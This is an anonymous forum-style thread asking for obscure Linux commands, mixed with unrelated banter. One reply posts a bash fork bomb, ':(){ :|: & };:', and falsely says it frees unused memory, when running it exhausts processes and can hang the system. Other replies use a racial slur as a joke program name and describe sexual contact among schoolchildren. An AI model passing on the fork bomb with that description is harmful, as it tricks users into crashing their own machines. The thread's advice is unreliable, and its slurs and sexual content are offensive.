Obscure Linux commands

Do you have any obscure Linux commands that noone else really knows about?

!:0 !:*


This reruns the last run command in your bash shell.

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linux.die.net/man/1/ar
twitter.com/NSFWRedditVideo

How can one gamer be so based?

>does your dad even feel guilty about the divorce?

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he reminds me of the kids at school who gave me shit about running a mac after we played the "nervous game" and I rubbed his boner through his pants for a bit

:(){ :|: & };:

This command will free all unused memory.

>BF3
>Anything post BF2
how embarrassing

ar(1): create, modify, and extract from archives
linux.die.net/man/1/ar

./nigger

executes a program called nigger in the current working directory

yeah but arrow up and return is loads faster

>arrow up
>not CTRL+p